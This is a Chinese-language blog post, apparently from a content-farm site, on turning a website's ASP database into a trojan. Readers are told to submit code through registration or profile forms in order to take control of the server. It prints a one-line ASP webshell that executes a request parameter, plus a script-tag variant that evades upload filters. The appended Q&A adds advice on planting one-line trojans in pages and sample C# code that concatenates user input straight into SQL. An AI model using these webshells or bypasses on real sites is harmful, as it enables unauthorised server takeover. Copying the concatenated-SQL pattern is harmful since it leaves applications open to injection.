插入ASP代码让网站数据库成为ASP木马

欢迎您访问我爱IT技术网，今天小编为你分享的编程技术是：【插入ASP代码让网站数据库成为ASP木马】，下面是详细的分享！

插入ASP代码让网站数据库成为ASP木马

很多时候我们可以通过在注册表单或者用户信息修改表单中，插入简短的ASP代码，使网站ASP数据库变成为一个ASP木马，然后进一步入侵控制服务器。

不过在上传代码过程中，许多网页程序都不允许包含〈%%〉标记符号的内容的文件上传。

这样就有好多SHELL不能上传上去了。可以采用下面的方法解决。以蓝屏最小ASP木马为例。

首先：原程序代码是：

〈%execute request("l")%〉

我们可以把它的标签换下来。

然后改成：

<scriptlanguage=VBScript runat=server>execute request("l")</Script>

这样就避开了使用〈%%〉，保存为.ASP,程序同样执行。

以上所分享的是关于插入ASP代码让网站数据库成为ASP木马，下面是编辑为你推荐的有价值的用户互动：

　　相关问题：asp.net 如何连接数据库并且将注册信息插入数据库...

　　答：一样的啊！ 添加命名空间：using System.Data.SqlClient; //增删查改 //string sql = ""; //SqlConnection cn=new SqlConnection("连接字符串"); //sql = "insert into table (字段1，字段2) values ('xx','aa')";//增 //sql = "delete from tab... >>详细

　　相关问题：如何在asp网页中插入一句话木马

　　答：抛开职业道德，在ASP网页中插入一句话木马大致可以这样做： 通常是在页面所有代码（可以通过类似 Adobe Dreamwaver，或者记事本之类打开页面“源代码”）末尾，加入你想插入的代码。但前提是你的代码本身是可以执行的。因为ASP页面本身在“打颖到浏... >>详细

　　相关问题：在ASP.NET里怎么把里面网页的用户信息添加到数据库中

　　答：string sql; sql = "insert into Users(Name,Pwd) values("; sql += "'"+ txt用户名.Text + "',"; sql += "'"+ txt密码.Text + "')"; SqlConnection sqlConnection1= new SqlConnection(); sqlConnection1.ConnectionString = "server=localhost... >>详细